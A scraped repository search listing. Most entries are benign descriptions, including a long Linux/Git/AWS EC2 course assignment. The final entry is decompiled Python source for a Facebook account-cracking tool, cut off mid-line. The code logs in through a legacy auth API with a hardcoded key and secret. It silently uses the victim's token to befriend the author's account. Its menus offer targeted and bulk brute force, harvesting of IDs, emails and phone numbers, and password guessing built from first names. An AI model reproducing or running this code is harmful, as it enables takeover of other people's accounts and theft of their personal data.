169 skills found · Page 2 of 6
kv0906 / Pm KitAI-augmented PM workspace for Coding Agents — daily standups, decisions, blockers, docs, and sprint reviews as markdown skills
codeandmedia / Zola Easydocs ThemeAn easy way to create docs for your project
code-friends / CodeFriendsCode Friends is a collaborative programming environment with real-time concurrent editing, and text/video chat. Collaborate with others remotely and see your changes sync instantly. Think of it as Google Docs for your sublime text editor.
arc42 / HHGDACHitchhikers Guide to Docs-as-Code - Code + Infos zur JavaMagazin-Kolumne von R.D. Müller und G.Starke
Bhacaz / Docs As Code ConfluencePublish the content of a folder to Confluence Github Action
gmarpons / Asciidoc HsAsciiDoc parser that can be used as a Pandoc front-end, written in Haskell
briandominick / CodewritingSource for Codewriting (book) and the Codewriting/Code the Docs (site/blog)
nyaundid / EC2 AWS AND SHELLSEIS 665 Assignment 2: Linux & Git Overview This week we will focus on becoming familiar with launching a Linux server and working with some basic Linux and Git commands. We will use AWS to launch and host the Linux server. AWS might seem a little confusing at this point. Don’t worry, we will gain much more hands-on experience with AWS throughout the course. The goal is to get you comfortable working with the technology and not overwhelm you with all the details. Requirements You need to have a personal AWS account and GitHub account for this assignment. You should also read the Git Hands-on Guide and Linux Hands-on Guide before beginning this exercise. A word about grading One of the key DevOps practices we learn about in this class is the use of automation to increase the speed and repeatability of processes. Automation is utilized during the assignment grading process to review and assess your work. It’s important that you follow the instructions in each assignment and type in required files and resources with the proper names. All names are case sensitive, so a name like "Web1" is not the same as "web1". If you misspell a name, use the wrong case, or put a file in the wrong directory location you will lose points on your assignment. This is the easiest way to lose points, and also the most preventable. You should always double-check your work to make sure it accurately reflects the requirements specified in the assignment. You should always carefully review the content of your files before submitting your assignment. The assignment Let’s get started! Create GitHub repository The first step in the assignment is to setup a Git repository on GitHub. We will use a special solution called GitHub Classroom for this course which automates the process of setting up student assignment repositories. Here are the basic steps: Click on the following link to open Assignment 2 on the GitHub Classroom site: https://classroom.github.com/a/K4zcVmX- (Links to an external site.)Links to an external site. Click on the Accept this assignment button. GitHub Classroom will provide you with a URL (https) to access the assignment repository. Either copy this address to your clipboard or write it down somewhere. You will need to use this address to set up the repository on a Linux server. Example: https://github.com/UST-SEIS665/hw2-seis665-02-spring2019-<your github id>.git At this point your new repository to ready to use. The repository is currently empty. We will put some content in there soon! Launch Linux server The second step in the assignment is to launch a Linux server using AWS EC2. The server should have the following characteristics: Amazon Linux 2 AMI 64-bit (usually the first option listed) Located in a U.S. region (us-east-1) t2.micro instance type All default instance settings (storage, vpm, security group, etc.) I’ve shown you how to launch EC2 instances in class. You can review it on Canvas. Once you launch the new server, it may take a few minutes to provision. Log into server The next step is to log into the Linux server using a terminal program with a secure shell (SSH) support. You can use iTerm2 (Links to an external site.)Links to an external site. on a Mac and GitBash/PuTTY (Links to an external site.)Links to an external site. on a PC. You will need to have the private server key and the public IP address before attempting to log into the server. The server key is basically your password. If you lose it, you will need to terminate the existing instance and launch a new server. I recommend reusing the same key when launching new servers throughout the class. Note, I make this recommendation to make the learning process easier and not because it is a common security practice. I’ve shown you how to use a terminal application to log into the instance using a Windows desktop. Your personal computer or lab computer may be running a different OS version, but the process is still very similar. You can review the videos on the Canvas. Working with Linux If you’ve made it this far, congratulations! You’ve made it over the toughest hurdle. By the end of this course, I promise you will be able to launch and log into servers in your sleep. You should be looking at a login screen that looks something like this: Last login: Mon Mar 21 21:17:54 2016 from 174-20-199-194.mpls.qwest.net __| __|_ ) _| ( / Amazon Linux AMI ___|\___|___| https://aws.amazon.com/amazon-linux-ami/2015.09-release-notes/ 8 package(s) needed for security, out of 17 available Run "sudo yum update" to apply all updates. ec2-user@ip-172-31-15-26 ~]$ Your terminal cursor is sitting at the shell prompt, waiting for you to type in your first command. Remember the shell? It is a really cool program that lets you start other programs and manage services on the Linux system. The rest of this assignment will be spent working with the shell. Note, when you are asked to type in a command in the steps below, don’t type in the dollar-sign ($) character. This is just meant to represent the command prompt. The actual commands are represented by the characters to the right of the command prompt. Let’s start by asking the shell for some help. Type in: $ help The shell provides you with a list of commands you can run along with possible command options. Next, check out one of the pages in the built-in manual: $ man ls A man page will appear with information on how to use the ls command. This command is used to list the contents of file directories. Either space through the contents of the man page or hit q to exit. Most of the core Linux commands have man pages available. But honestly, some of these man pages are a bit hard to understand. Sometimes your best bet is to search on Google if you are trying to figure out how to use a specific command. When you initially log into Linux, the system places you in your home directory. Each user on the system has a separate home directory. Let’s see where your home directory is located: $ pwd The response should be /home/ec2-user. The pwd command is handy to remember if you ever forget what file directory you are currently located in. If you recall from the Linux Hands-on Guide, this directory is also your current working directory. Type in: $ cd / The cd command let’s you change to a new working directory on the server. In this case, we changed to the root (/) directory. This is the parent of all the other directories on the file system. Type in: $ ls The ls command lists the contents of the current directory. As you can see, root directory contains many other directories. You will become familiar with these directories over time. The ls command provides a very basic directory listing. You need to supply the command with some options if you want to see more detailed information. Type in: $ ls -la See how this command provides you with much more detailed information about the files and directories? You can use this detailed listing to see the owner, group, and access control list settings for each file or directory. Do you see any files listed? Remember, the first character in the access control list column denotes whether a listed item is a file or a directory. You probably see a couple files with names like .autofsck. How come you didn’t see this file when you typed in the lscommand without any options? (Try to run this command again to convince yourself.) Files names that start with a period are called hidden files. These files won’t appear on normal directory listings. Type in: $ cd /var Then, type in: $ ls You will see a directory listing for the /var directory. Next, type in: $ ls .. Huh. This directory listing looks the same as the earlier root directory listing. When you use two periods (..) in a directory path that means you are referring to the parent directory of the current directory. Just think of the two dots as meaning the directory above the current directory. Now, type in: $ cd ~ $ pwd Whoa. We’re back at our home directory again. The tilde character (~) is another one of those handy little directory path shortcuts. It always refers to our personal home directory. Keep in mind that since every user has their own home directory, the tilde shortcut will refer to a unique directory for each logged-in user. Most students are used to navigating a file system by clicking a mouse in nested graphical folders. When they start using a command-line to navigate a file system, they sometimes get confused and lose track of their current position in the file system. Remember, you can always use the pwd command to quickly figure out what directory you are currently working in. Let’s make some changes to the file system. We can easily make our own directories on the file system. Type: mkdir test Now type: ls Cool, there’s our new test directory. Let’s pretend we don’t like that directory name and delete it. Type: rmdir test Now it’s gone. How can you be sure? You should know how to check to see if the directory still exists at this point. Go ahead and check. Let’s create another directory. Type in: $ mkdir documents Next, change to the new directory: $ cd documents Did you notice that your command prompt displays the name of the current directory? Something like: [ec2-user@ip-172-31-15-26 documents]$. Pretty handy, huh? Okay, let’s create our first file in the documents directory. This is just an empty file for training purposes. Type in: $ touch paper.txt Check to see that the new file is in the directory. Now, go back to the previous directory. Remember the double dot shortcut? $ cd .. Okay, we don’t like our documents directory any more. Let’s blow it away. Type in: $ rmdir documents Uh oh. The shell didn’t like that command because the directory isn’t empty. Let’s change back into the documents directory. But this time don’t type in the full name of the directory. You can let shell auto-completion do the typing for you. Type in the first couple characters of the directory name and then hit the tab key: $ cd doc<tab> You should use the tab auto-completion feature often. It saves typing and makes working with the Linux file system much much easier. Tab is your friend. Now, remove the file by typing: $ rm paper.txt Did you try to use the tab key instead of typing in the whole file name? Check to make sure the file was deleted from the directory. Next, create a new file: $ touch file1 We like file1 so much that we want to make a backup copy. Type: $ cp file1 file1-backup Check to make sure the new backup copy was created. We don’t really like the name of that new file, so let’s rename it. Type: $ mv file1-backup backup Moving a file to the same directory and giving it a new name is basically the same thing as renaming it. We could have moved it to a different directory if we wanted. Let’s list all of the files in the current directory that start with the letter f: $ ls f* Using wildcard pattern matching in file commands is really useful if you want the command to impact or filter a group of files. Now, go up one directory to the parent directory (remember the double dot shortcut?) We tried to remove the documents directory earlier when it had files in it. Obviously that won’t work again. However, we can use a more powerful command to destroy the directory and vanquish its contents. Behold, the all powerful remove command: $ rm -fr documents Did you remember to use auto-completion when typing in documents? This command and set of options forcibly removes the directory and its contents. It’s a dangerous command wielded by the mightiest Linux wizards. Okay, maybe that’s a bit of an exaggeration. Just be careful with it. Check to make sure the documents directory is gone before proceeding. Let’s continue. Change to the directory /var and make a directory called test. Ugh. Permission denied. We created this darn Linux server and we paid for it. Shouldn’t we be able to do anything we want on it? You logged into the system as a user called ec2-user. While this user can create and manage files in its home directory, it cannot change files all across the system. At least it can’t as a normal user. The ec2-user is a member of the root group, so it can escalate its privileges to super-user status when necessary. Let’s try it: $ sudo mkdir test Check to make sure the directory exists now. Using sudo we can execute commands as a super-user. We can do anything we want now that we know this powerful new command. Go ahead and delete the test directory. Did you remember to use sudo before the rmdir command? Check to make sure the directory is gone. You might be asking yourself the question: why can we list the contents of the /var directory but not make changes? That’s because all users have read access to the /var directory and the ls command is a read function. Only the root users or those acting as a super-user can write changes to the directory. Let’s go back to our home directory: $ cd ~ Editing text files is a really common task on Linux systems because many of the application configuration files are text files. We can create a text file by using a text editor. Type in: $ nano myfile.conf The shell starts up the nano text editor and places your terminal cursor in the editing screen. Nano is a simple text-based word processor. Type in a few lines of text. When you’re done writing your novel, hit ctrl-x and answer y to the prompt to save your work. Finally, hit enter to save the text to the filename you specified. Check to see that your file was saved in the directory. You can take a look at the contents of your file by typing: $ cat myfile.conf The cat command displays your text file content on the terminal screen. This command works fine for displaying small text files. But if your file is hundreds of lines long, the content will scroll down your terminal screen so fast that you won’t be able to easily read it. There’s a better way to view larger text files. Type in: $ less myfile.conf The less command will page the display of a text file, allowing you to page through the contents of the file using the space bar. Your text file is probably too short to see the paging in action though. Hit q to quit out of the less text viewer. Hit the up-arrow key on your keyboard a few times until the commmand nano myfile.conf appears next to your command prompt. Cool, huh? The up-arrow key allows you to replay a previously run command. Linux maintains a list of all the commands you have run since you logged into the server. This is called the command history. It’s a really useful feature if you have to re-run a complex command again. Now, hit ctrl-c. This cancels whatever command is displayed on the command line. Type in the following command to create a couple empty files in the directory: $ touch file1 file2 file3 Confirm that the files were created. Some commands, like touch. allow you to specify multiple files as arguments. You will find that Linux commands have all kinds of ways to make tasks more efficient like this. Throughout this assignment, we have been running commands and viewing results on the terminal screen. The screen is the standard place for commands to output results. It’s known as the standard out (stdout). However, it’s really useful to output results to the file system sometimes. Type in: $ ls > listing.txt Take a look at the directory listing now. You just created a new file. View the contents of the listing.txt file. What do you see? Instead of sending the output from the ls command to the screen we sent it to a text file. Let’s try another one. Type: $ cat myfile.conf > listing.txt Take a look at the contents of the listing.txt file again. It looks like your myfile.conf file now. It’s like you made a copy of it. But what happened to the previous content in the listing.txt file? When you redirect the output of a command using the right angle-bracket character (>), the output overwrites the existing file. Type this command in: $ cat myfile.conf >> listing.txt Now look at the contents of the listing.txt file. You should see your original content displayed twice. When you use two angle-bracket characters in the commmand the output appends (or adds to) the file instead of overwriting it. We redirected the output from a command to a text file. It’s also possible to redirect the input to a command. Typically we use a keyboard to provide input, but sometimes it makes more sense to input a file to a command. For example, how many words are in your new listing.txt file? Let’s find out. Type in: $ wc -w < listing.txt Did you get a number? This command inputs the listing.txt file into a word count program called wc. Type in the command: $ ls /usr/bin The terminal screen probably scrolled quickly as filenames flashed by. The /usr/bin directory holds quite a few files. It would be nice if we could page through the contents of this directory. Well, we can. We can use a special shell feature called pipes. In previous steps, we redirected I/O using the file system. Pipes allow us to redirect I/O between programs. We can redirect the output from one program into another. Type in: $ ls /usr/bin | less Now the directory listing is paged. Hit the spacebar to page through the listing. The pipe, represented by a vertical bar character (|), takes the output from the ls command and redirects it to the less command where the resulting output is paged. Pipes are super powerful and used all the time by savvy Linux operators. Hit the q key to quit the paginated directory listing command. Working with shell scripts Now things are going to get interesting. We’ve been manually typing in commands throughout this exercise. If we were running a set of repetitive tasks, we would want to automate the process as much as possible. The shell makes it really easy to automate tasks using shell scripts. The shell provides many of the same features as a basic procedural programming language. Let’s write some code. Type in this command: $ j=123 $ echo $j We just created a variable named j referencing the string 123. The echo command printed out the value of the variable. We had to use a dollar sign ($) when referencing the variable in another command. Next, type in: $ j=1+1 $ echo $j Is that what you expected? The shell just interprets the variable value as a string. It’s not going to do any sort of computation. Typing in shell script commands on the command line is sort of pointless. We want to be able to create scripts that we can run over-and-over. Let’s create our first shell script. Use the nano editor to create a file named myscript. When the file is open in the editor, type in the following lines of code: #!/bin/bash echo Hello $1 Now quit the editor and save your file. We can run our script by typing: $ ./myscript World Er, what happened? Permission denied. Didn’t we create this file? Why can’t we run it? We can’t run the script file because we haven’t set the execute permission on the file. Type in: $ chmod u+x myscript This modifies the file access control list to allow the owner of the file to execute it. Let’s try to run the command again. Hit the up-arrow key a couple times until the ./myscript World command is displayed and hit enter. Hooray! Our first shell script. It’s probably a bit underwhelming. No problem, we’ll make it a little more complex. The script took a single argument called World. Any arguments provided to a shell script are represented as consecutively numbered variables inside the script ($1, $2, etc). Pretty simple. You might be wondering why we had to type the ./ characters before the name of our script file. Try to type in the command without them: $ myscript World Command not found. That seems a little weird. Aren’t we currently in the directory where the shell script is located? Well, that’s just not how the shell works. When you enter a command into the shell, it looks for the command in a predefined set of directories on the server called your PATH. Since your script file isn’t in your special path, the shell reports it as not found. By typing in the ./ characters before the command name you are basically forcing the shell to look for your script in the current directory instead of the default path. Create another file called cleanup using nano. In the file editor window type: #!/bin/bash # My cleanup script mkdir archive mv file* archive Exit the editor window and save the file. Change the permissions on the script file so that you can execute it. Now run the command: $ ./cleanup Take a look at the file directory listing. Notice the archive directory? List the contents of that directory. The script automatically created a new directory and moved three files into it. Anything you can do manually at a command prompt can be automated using a shell script. Let’s create one more shell script. Use nano to create a script called namelist. Here is the content of the script: #!/bin/bash # for-loop test script names='Jason John Jane' for i in $names do echo Hello $i done Change the permissions on the script file so that you can execute it. Run the command: $ ./namelist The script will loop through a set of names stored in a variable displaying each one. Scripts support several programming constructs like for-loops, do-while loops, and if-then-else. These building blocks allow you to create fairly complex scripts for automating tasks. Installing packages and services We’re nearing the end of this assignment. But before we finish, let’s install some new software packages on our server. The first thing we should do is make sure all the current packages installed on our Linux server are up-to-date. Type in: $ sudo yum update -y This is one of those really powerful commands that requires sudo access. The system will review the currently installed packages and go out to the Internet and download appropriate updates. Next, let’s install an Apache web server on our system. Type in: $ sudo yum install httpd -y Bam! You probably never knew that installing a web server was so easy. We’re not going to actually use the web server in this exercise, but we will in future assignments. We installed the web server, but is it actually running? Let’s check. Type in: $ sudo service httpd status Nope. Let’s start it. Type: $ sudo service httpd start We can use the service command to control the services running on the system. Let’s setup the service so that it automatically starts when the system boots up. Type in: $ sudo chkconfig httpd on Cool. We installed the Apache web server on our system, but what other programs are currently running? We can use the pscommand to find out. Type in: $ ps -ax Lots of processes are running on our system. We can even look at the overall performance of our system using the topcommand. Let’s try that now. Type in: $ top The display might seem a little overwhelming at first. You should see lots of performance information displayed including the cpu usage, free memory, and a list of running tasks. We’re almost across the finish line. Let’s make sure all of our valuable work is stored in a git repository. First, we need to install git. Type in the command: $ sudo yum install git -y Check your work It’s very important to check your work before submitting it for grading. A misspelled, misplaced or missing file will cost you points. This may seem harsh, but the reality is that these sorts of mistakes have consequences in the real world. For example, a server instance could fail to launch properly and impact customers because a single required file is missing. Here is what the contents of your git repository should look like before final submission: ┣archive ┃ ┣ file1 ┃ ┣ file2 ┃ ┗ file3 ┣ namelist ┗ myfile.conf Saving our work in the git repository Next, make sure you are still in your home directory (/home/ec2-user). We will install the git repository you created at the beginning of this exercise. You will need to modify this command by typing in the GitHub repository URL you copied earlier. $ git clone <your GitHub URL here>.git Example: git clone https://github.com/UST-SEIS665/hw2-seis665-02-spring2019-<your github id>.git The git application will ask you for your GitHub username and password. Note, if you have multi-factor authentication enabled on your GitHub account you will need to provide a personal token instead of your password. Git will clone (copy) the repository from GitHub to your Linux server. Since the repository is empty the clone happens almost instantly. Check to make sure that a sub-directory called "hw2-seis665-02-spring2019-<username>" exists in the current directory (where <username> is your GitHub account name). Git automatically created this directory as part of the cloning process. Change to the hw2-seis665-02-spring2019-<username> directory and type: $ ls -la Notice the .git hidden directory? This is where git actually stores all of the file changes in your repository. Nothing is actually in your repository yet. Change back to the parent directory (cd ..). Next, let’s move some of our files into the repository. Type: $ mv archive hw2-seis665-02-spring2019-<username> $ mv namelist hw2-seis665-02-spring2019-<username> $ mv myfile.conf hw2-seis665-02-spring2019-<username> Hopefully, you remembered to use the auto-complete function to reduce some of that typing. Change to the hw2-seis665-02-spring2019-<username> directory and list the directory contents. Your files are in the working directory, but are not actually stored in the repository because they haven’t been committed yet. Type in: $ git status You should see a list of untracked files. Let’s tell git that we want these files tracked. Type in: $ git add * Now type in the git status command again. Notice how all the files are now being tracked and are ready to be committed. These files are in the git staging area. We’ll commit them to the repository next. Type: $ git commit -m 'assignment 2 files' Next, take a look at the commit log. Type: $ git log You should see your commit listed along with an assigned hash (long string of random-looking characters). Finally, let’s save the repository to our GitHub account. Type in: $ git push origin master The git client will ask you for your GitHub username and password before pushing the repository. Go back to the GitHub.com website and login if you have been logged out. Click on the repository link for the assignment. Do you see your files listed there? Congratulations, you completed the exercise! Terminate server The last step is to terminate your Linux instance. AWS will bill you for every hour the instance is running. The cost is nominal, but there’s no need to rack up unnecessary charges. Here are the steps to terminate your instance: Log into your AWS account and click on the EC2 dashboard. Click the Instances menu item. Select your server in the instances table. Click on the Actions drop down menu above the instances table. Select the Instance State menu option Click on the Terminate action. Your Linux instance will shutdown and disappear in a few minutes. The EC2 dashboard will continue to display the instance on your instance listing for another day or so. However, the state of the instance will be terminated. Submitting your assignment — IMPORTANT! If you haven’t already, please e-mail me your GitHub username in order to receive credit for this assignment. There is no need to email me to tell me that you have committed your work to GitHub or to ask me if your GitHub submission worked. If you can see your work in your GitHub repository, I can see your work.
Myhadi / FB Hack#decompiled by PDM31 import os, sys print '\x1b[1;32mSudah punya ID dan Password nya?' print '\x1b[1;32mSilahkan Login ' import os, sys def wa(): os.system('xdg-open https://api.whatsapp.com/send?phone=6281291977644&text=Assalamualaikum') def restart(): ngulang = sys.executable os.execl(ngulang, ngulang, *sys.argv) user = raw_input('ID: ') import getpass sandi = raw_input('Password: ') if sandi == 'indoxploit' and user == 'Borot': print 'Anda Telah Login' sys.exit else: print 'Login GAGAL, Silahkan hubungi ADMIN' wa() restart() import os, sys, time, datetime, random, hashlib, re, threading, json, getpass, urllib from multiprocessing.pool import ThreadPool try: import mechanize except ImportError: os.system('pip2 install mechanize') else: try: import requests except ImportError: os.system('pip2 install requests') from requests.exceptions import ConnectionError from mechanize import Browser reload(sys) sys.setdefaultencoding('utf8') br = mechanize.Browser() br.set_handle_robots(False) br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) br.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')] def keluar(): print '\x1b[1;91m[!] Keluar' os.sys.exit() def jalan(z): for e in z + '\n': sys.stdout.write(e) sys.stdout.flush() time.sleep(0.1) logo = '\x1b[1;92m\n\xe2\x95\x94\xe2\x95\xa6\xe2\x95\x97\xe2\x94\x8c\xe2\x94\x80\xe2\x94\x90\xe2\x94\xac\xe2\x94\x80\xe2\x94\x90\xe2\x94\xac\xe2\x94\x8c\xe2\x94\x80 \xe2\x95\x94\xe2\x95\x90\xe2\x95\x97\xe2\x95\x94\xe2\x95\x97 \n \xe2\x95\x91\xe2\x95\x91\xe2\x94\x9c\xe2\x94\x80\xe2\x94\xa4\xe2\x94\x9c\xe2\x94\xac\xe2\x94\x98\xe2\x94\x9c\xe2\x94\xb4\xe2\x94\x90\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x95\xa0\xe2\x95\xa3 \xe2\x95\xa0\xe2\x95\xa9\xe2\x95\x97\n\xe2\x95\x90\xe2\x95\xa9\xe2\x95\x9d\xe2\x94\xb4 \xe2\x94\xb4\xe2\x94\xb4\xe2\x94\x94\xe2\x94\x80\xe2\x94\xb4 \xe2\x94\xb4 \xe2\x95\x9a \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \x1b[1;93mv1.7\n\x1b[1;93m* \x1b[1;97mAuthor \x1b[1;91m: \x1b[1;96mMr. Borot\x1b[1;97m\n\x1b[1;93m* \x1b[1;97mSupport \x1b[1;91m: \x1b[1;96mKunjungi\x1b[1;97m \x1b[1;96mwebsite \x1b[1;96mKami\n\x1b[1;93m* \x1b[1;97mwebsite \x1b[1;91m: \x1b[1;92m\x1b[4mhttp://indoxploit.id/\x1b[0m\n' def tik(): titik = [ '. ', '.. ', '... '] for o in titik: print '\r\x1b[1;91m[\xe2\x97\x8f] \x1b[1;92mSedang Masuk \x1b[1;97m' + o, sys.stdout.flush() time.sleep(1) back = 0 threads = [] berhasil = [] cekpoint = [] gagal = [] idteman = [] idfromteman = [] idmem = [] id = [] em = [] emfromteman = [] hp = [] hpfromteman = [] reaksi = [] reaksigrup = [] komen = [] komengrup = [] listgrup = [] vulnot = '\x1b[31mNot Vuln' vuln = '\x1b[32mVuln' def login(): os.system('reset') try: toket = open('login.txt', 'r') menu() except (KeyError, IOError): os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\xe2\x98\x86] \x1b[1;92mLOGIN AKUN FACEBOOK \x1b[1;91m[\xe2\x98\x86]' id = raw_input('\x1b[1;91m[+] \x1b[1;36mUsername \x1b[1;91m:\x1b[1;92m ') pwd = getpass.getpass('\x1b[1;91m[+] \x1b[1;36mPassword \x1b[1;91m:\x1b[1;92m ') tik() try: br.open('https://m.facebook.com') except mechanize.URLError: print '\n\x1b[1;91m[!] Tidak ada koneksi' keluar() br._factory.is_html = True br.select_form(nr=0) br.form['email'] = id br.form['pass'] = pwd br.submit() url = br.geturl() if 'save-device' in url: try: sig = 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail=' + id + 'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword=' + pwd + 'return_ssl_resources=0v=1.062f8ce9f74b12f84c123cc23437a4a32' data = {'api_key': '882a8490361da98702bf97a021ddc14d', 'credentials_type': 'password', 'email': id, 'format': 'JSON', 'generate_machine_id': '1', 'generate_session_cookies': '1', 'locale': 'en_US', 'method': 'auth.login', 'password': pwd, 'return_ssl_resources': '0', 'v': '1.0'} x = hashlib.new('md5') x.update(sig) a = x.hexdigest() data.update({'sig': a}) url = 'https://api.facebook.com/restserver.php' r = requests.get(url, params=data) z = json.loads(r.text) zedd = open('login.txt', 'w') zedd.write(z['access_token']) zedd.close() print '\n\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mLogin berhasil' requests.post('https://graph.facebook.com/me/friends?method=post&uids=gwimusa3&access_token=' + z['access_token']) os.system('xdg-open http://indoxploit.id/') time.sleep(2) menu() except requests.exceptions.ConnectionError: print '\n\x1b[1;91m[!] Tidak ada koneksi' keluar() if 'checkpoint' in url: print '\n\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' os.system('rm -rf login.txt') time.sleep(1) keluar() else: print '\n\x1b[1;91m[!] Login Gagal' os.system('rm -rf login.txt') time.sleep(1) login() def menu(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: os.system('reset') print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: otw = requests.get('https://graph.facebook.com/me?access_token=' + toket) a = json.loads(otw.text) nama = a['name'] id = a['id'] except KeyError: os.system('reset') print '\x1b[1;91m[!] \x1b[1;93mSepertinya akun kena Checkpoint' os.system('rm -rf login.txt') time.sleep(1) login() except requests.exceptions.ConnectionError: print '\x1b[1;91m[!] Tidak ada koneksi' keluar() os.system('reset') print logo print '\x1b[1;97m\xe2\x95\x94' + 40 * '\xe2\x95\x90' print '\xe2\x95\x91\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m]\x1b[1;97m Nama \x1b[1;91m: \x1b[1;92m' + nama print '\x1b[1;97m\xe2\x95\x9a' + 40 * '\xe2\x95\x90' print '\x1b[1;37;40m1. Informasi Pengguna' print '\x1b[1;37;40m2. Hack Akun Facebook' print '\x1b[1;37;40m3. Bot ' print '\x1b[1;37;40m4. Lainnya.... ' print '\x1b[1;37;40m5. LogOut ' print '\x1b[1;31;40m0. Keluar ' print pilih() def pilih(): zedd = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if zedd == '': print '\x1b[1;91m[!] Jangan kosong' pilih() else: if zedd == '1': informasi() else: if zedd == '2': menu_hack() else: if zedd == '3': menu_bot() else: if zedd == '4': lain() else: if zedd == '5': os.system('rm -rf login.txt') os.system('xdg-open http://indoxploit.id') keluar() else: if zedd == '0': keluar() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + zedd + ' \x1b[1;91mTidak ada' pilih() def informasi(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' id = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID\x1b[1;97m/\x1b[1;92mNama\x1b[1;91m : \x1b[1;97m') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) cok = json.loads(r.text) for p in cok['data']: if id in p['name'] or id in p['id']: r = requests.get('https://graph.facebook.com/' + p['id'] + '?access_token=' + toket) z = json.loads(r.text) print 40 * '\x1b[1;97m\xe2\x95\x90' try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNama\x1b[1;97m : ' + z['name'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mNama\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mID\x1b[1;97m : ' + z['id'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mID\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mEmail\x1b[1;97m : ' + z['email'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mEmail\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNomor HP\x1b[1;97m : ' + z['mobile_phone'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mNomor HP\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mLokasi\x1b[1;97m : ' + z['location']['name'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mLokasi\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mTanggal Lahir\x1b[1;97m : ' + z['birthday'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mTanggal Lahir\x1b[1;97m : \x1b[1;91mTidak ada' try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mSekolah\x1b[1;97m : ' for q in z['education']: try: print '\x1b[1;91m ~ \x1b[1;97m' + q['school']['name'] except KeyError: print '\x1b[1;91m ~ \x1b[1;91mTidak ada' except KeyError: pass raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu() else: print '\x1b[1;91m[\xe2\x9c\x96] Pengguna tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu() def menu_hack(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Mini Hack Facebook(\x1b[1;92mTarget\x1b[1;97m)' print '\x1b[1;37;40m2. Multi Bruteforce Facebook' print '\x1b[1;37;40m3. Super Multi Bruteforce Facebook' print '\x1b[1;37;40m4. BruteForce(\x1b[1;92mTarget\x1b[1;97m)' print '\x1b[1;37;40m5. Yahoo Checker' print '\x1b[1;37;40m6. Ambil id/email/hp' print '\x1b[1;31;40m0. Kembali' print hack_pilih() def hack_pilih(): hack = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if hack == '': print '\x1b[1;91m[!] Jangan kosong' hack_pilih() else: if hack == '1': mini() else: if hack == '2': crack() hasil() else: if hack == '3': super() else: if hack == '4': brute() else: if hack == '5': menu_yahoo() else: if hack == '6': grab() else: if hack == '0': menu() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + hack + ' \x1b[1;91mTidak ada' hack_pilih() def mini(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[ INFO ] Akun target harus berteman dengan akun anda dulu !' try: id = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') r = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket) a = json.loads(r.text) print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] jalan('\x1b[1;91m[+] \x1b[1;92mMemeriksa \x1b[1;97m...') time.sleep(2) jalan('\x1b[1;91m[+] \x1b[1;92mMembuka keamanan \x1b[1;97m...') time.sleep(2) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mMohon Tunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' pz1 = a['first_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz1 + 